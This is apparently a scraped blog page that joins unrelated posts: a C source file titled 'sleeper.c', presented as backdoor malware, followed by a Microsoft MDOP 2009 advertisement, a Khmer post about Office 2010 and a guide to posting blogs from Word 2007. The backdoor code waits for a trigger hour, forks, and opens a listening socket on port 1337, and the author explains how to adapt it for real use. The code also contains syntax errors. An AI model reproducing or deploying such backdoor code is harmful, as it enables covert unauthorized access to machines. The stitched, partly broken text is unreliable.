Source Code របស់​មេរោគ​ប្រភេទ Backdoor សរសេរ​ក្នុង C

*
Title: sleeper.c
Author: Scytzo
Date: 1-16-05
Compile: gcc sleeper.c -o sleeper

This is an example of a backdoor
that will sleep until a configured time
then opens up a listening socket

Right now only the trigger hour matters
the backdoor starts at this hour and is
only alive for the time specified.

ctimes output is in the format ‘Mon Jan 17 16:00:35 2005’
that’s why trigger time should have a leading space
so it doesnt get confused with a similar minute.

If you’re going to use this as an actual backdoor you’re
going to want to remove all the printf() statements

Sometimes if the backdoor tries to start up again right away
you’ll get a BIND error.  You can usually safely ignore this
but I would like to do more testing.  If you see a better way of
doing any of this just let me know.

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

#include <time.h> // for time structure and functions
#include <string.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>

#define listenPort 1337

#define triggerHour “22” // Hour to start listening MILITARY TIME!!!
#define aliveFor “180” // the amount of time to keep the server listen()ing for, in seconds
// shouldn’t be less than three minutes

#define triggerMin “57” // Minute in the hour to start listening
#define stopHour “16” // Hour to stop listening same format
#define stopMin “25” // Minute to stop listener

void wait_for_time();
void start_listening();
void start_kill_timer();

int main( int argc, char **argv)
{
pid_t lPid;

while( 1 == 1)
{
sleep(1800);  check every 30 minutes
//printf(“Let’s start at the beginning\n”);
wait_for_time();

if( (lPid = fork()) == 0 )
{
//printf(“just forked\n”);
start_listening();
//printf(“start_listening() is done\n”);
exit(1);
}

}

return 0;
}

void wait_for_time()
{

char *pTime; // printable time

time_t now;
int cont = 1, yes = 1;
struct tm *theTime;
int tHour = atoi(triggerHour);
int tMin = atoi(triggerMin);
int hour, minute;

while( cont == yes )
{
// sleep(25); so we’re not checking 700 times a second
time(&now);
theTime = localtime( &now );
hour = theTime->tm_hour;
minute = theTime->tm_min;

if( hour == tHour )
{
//printf(“NOW IS THE TIME!\n”);
yes = 0;
}

}
}

void start_listening()
{
struct sockaddr_in serverAddr, clientAddr;
int listenSock, acceptFd;
int port = listenPort;
socklen_t cliLength = sizeof(clientAddr);
pid_t pid;
int cont = 1, yes = 1;
time_t now;
struct tm *theTime;
int tHour = atoi(triggerHour);
int sHour = atoi(stopHour);
int sMin = atoi(stopMin);
int hour, minute;

bzero( &serverAddr, sizeof(serverAddr) );
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(listenPort);
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);

if( (listenSock = socket( AF_INET, SOCK_STREAM, 0 )) == -1)
{
printf(“Error creating socket Bitch! %s\n”, strerror(errno));
exit(0);
}

if( bind(listenSock, (struct sockaddr *) &serverAddr, sizeof(serverAddr)) != 0 )
{
printf(“Bind error Bitch! %s\n”, strerror(errno));
exit(0);
}

if( listen(listenSock, 2) != 0)
{
printf(“Listen() error bitch!\n”);
return;
}

printf(“Starting listener on port %d\n”, listenPort);
pid_t listenPid;
int zzzz = atoi(aliveFor);

if( (listenPid = fork()) == 0)
{

printf(“just forked for listenpid\n”);
int newFd;
char readBuf[200];
bzero(readBuf, sizeof(readBuf));
char *msg = “Did you just say casarole?\n”;

newFd = accept(listenSock, (struct sockaddr *) &clientAddr, &cliLength);
close(listenSock);

write( newFd, msg , strlen(msg));
read( newFd, readBuf, 200);
printf(“Readbuf is %s\n”, readBuf);
//printf(“Exiting listenpid fork\n”);
close(newFd);
close(listenSock);
return;

}

sleep(zzzz);
kill( listenPid, 1);
close(listenSock);
return;
}

Advertisements

Microsoft Desktop Optimization Pack 2009

Productivity, manageability and reduced total cost of ownership for enterprise desktops

Enterprise IT infrastructures are increasingly complex to manage. The Microsoft Desktop Optimization Pack (MDOP) is a dynamic desktop solution that is available as a subscription for Software Assurance customers. The solution suite enhances application deployment and compatibility, increases IT responsiveness and end user uptime, and helps reduce total cost of ownership (TCO) of your desktop software and IT management.

MDOP employs six innovative technologies to increase desktop manageability, reduce TCO, and improve overall infrastructure satisfaction:

MDOP 2009 R2 for Windows 7 is now available!

Learn more about MDOP 2009 R2 features.

Read more about how customers and partners use MDOP.

MDOP subscribers can download the software at Microsoft Volume Licensing Site (MVLS).

MDOP is also available for test and evaluation for MSDN* and TechNet** subscribers in accordance with MSDN and TechNet agreements.

Source : http://www.microsoft.com/windows/enterprise/products/mdop/default.aspx

Office 2010 នឹង​ចេញនៅឆ្នាំក្រោយ !

សព្វ​ថ្ងៃ​នេះ​យើង​ទាំង​អស់​គ្នា មិន​សូវ​ជា​មាន​អ្នក​ប្រើ​ប្រាស់​ Office 2007  ច្រើន​ណាស់​ណា​នោះ​ទេ ជាពិសេស​សម្រាប់​អ្នក​ដែល​ធ្លាប់​តែ​ទំលាប់​ជាមួយ Office 2003 ពួកគាត់​តែ​ង​តែ​ស្រែក​ចាច ពេល​ឃើញលក្ខណះ Office 2007 ពិបាក​ប្រើ​ណាស់លោក​អើយ …… ហើយ​ក៏​មាន​មូលហេតុ​មួយ​ចំនួន​ដូច​ជា តំរូវការ​ម៉ាសីន​មិន​គ្រប់​គ្រាន់​ដើម្បី​ដំណើរ​ការ​វា​បាន ឬក៏ខ្លាច​ពេល​ធ្វើ​ការ​ងារ​ក្នុង​ Office 2007 ពេល​យក​ឯកសារ​នៅ​កន្លែង​ផ្សេង​អត់​ស្គាល់​ …..។

តែ​ផ្ទុយ​ទៅវិញ សម្រាប់​អ្នក​ដែល​ស្រឡាញ់​បច្ចេក​វិទ្យា​ទំនើបៗ អ្នក​ដែល​ចូល​ចិត្ត​អ្វីដែល​ថ្មី គេ​តែង​តែ​ទទួល​ស្គាល់​ពីអត្ថ​ប្រយោជន៌​ និង​អោយ​តម្លៃ​វា​ជានិច្ច​ ព្រោះ​វាជា​អ្វី​ដែល​គេខិត​ខំ​ធ្វើ​កែ​លំអរ​អោយ​កាន់​តែ​ប្រសើរ​ជាង​សេរី​មុនៗ ។  ជាក់​ស្តែង​ចំពោះខ្ញុំ​ គឺ​ពេញចិត្ត​នឹង Office 2007 ណាស់ មិនមែន​​ស្រលាញ់​តែ​រូប​រាង (Interface) វា​ប៉ុណ្នោះទេ តែ​វា​ពិត​ជា​ជួយ​សំរួលដល់​ការងារ​យើង​បាន​លឿន​ជាង​មុន​ឆ្ងាយ​ណាស់ ដូច​ជា​ការ​បង្កើត​ Slide តាមកម្មវិធី Power Point វិញគឺ​ងាយ​​ស្រួល​ ហើយ​ស្អាតៗទៀត ។

ហើយ​អាឡូវ​លឺ​សូរ​ថា​ក្រុម​ហុន Microsoft នឹងចេញ Office សេរីថ្មី 2010 Beta អោយ​ទៅ​ដៃ​គូ​សំខាន់​ៗ នៅថ្ងៃ​ស្អែកនេះ​អោយ​ប្រើ​ប្រាស់​សាក​ល្បង ។ រី​ឯអា​លទ្ធផល​សំរេច​ចុង​ក្រោយ ប្រហែល​ជានឹងចេញដាក់​អោយ​ប្រើប្រាស់ដំណាល​គ្នា​ជាមួយ​ Windows 7 RTM​ជា​ផ្លូវ​ការ​នៅ​ដើម​ឆ្នាំ 2010 ខាងមុខ​នេះ ។

Office Word 2007 Screenshot

Office Word 2007 Screenshot

Office Word 2010 Screenshot

Office Word 2010 Screenshot

ប្រភពដើម

Write Blog post from Word 2007

Word 2007 is a wonderful and modern tool for writing documents, but most of people might don’t know that you can use it to post to your blog as well? This is very useful if you want to write very long, word posts, or if you want to make your post more beautiful.

One of the most important for us is it will upload the image we posted to the Upload Directory in your wordpress blog automatic. That before you have to do it yours selves and take time to do the screenshot for your wordpress post.

It also support: Blogger, Windows Live Space, Sharepoint Blog, Community Server, Typepad, …and your hosted wordpress blog also.

Here is my example wordpress post from Word 2007 :
In Word 2007 you can Create new Document and Choose “New Blog Post”


Screen clipping taken: 11/6/2008, 9:28 AM-by Myhouse

Then Click on Register now:


Screen clipping taken: 11/6/2008, 9:28 AM-By Myhouse

Then choose your blog provider


Screen clipping taken: 11/6/2008, 9:29 AM

Then Fill in replace my blog URL with yours as below:


Screen clipping taken: 11/6/2008, 9:31 AM


Then Happy Blogging!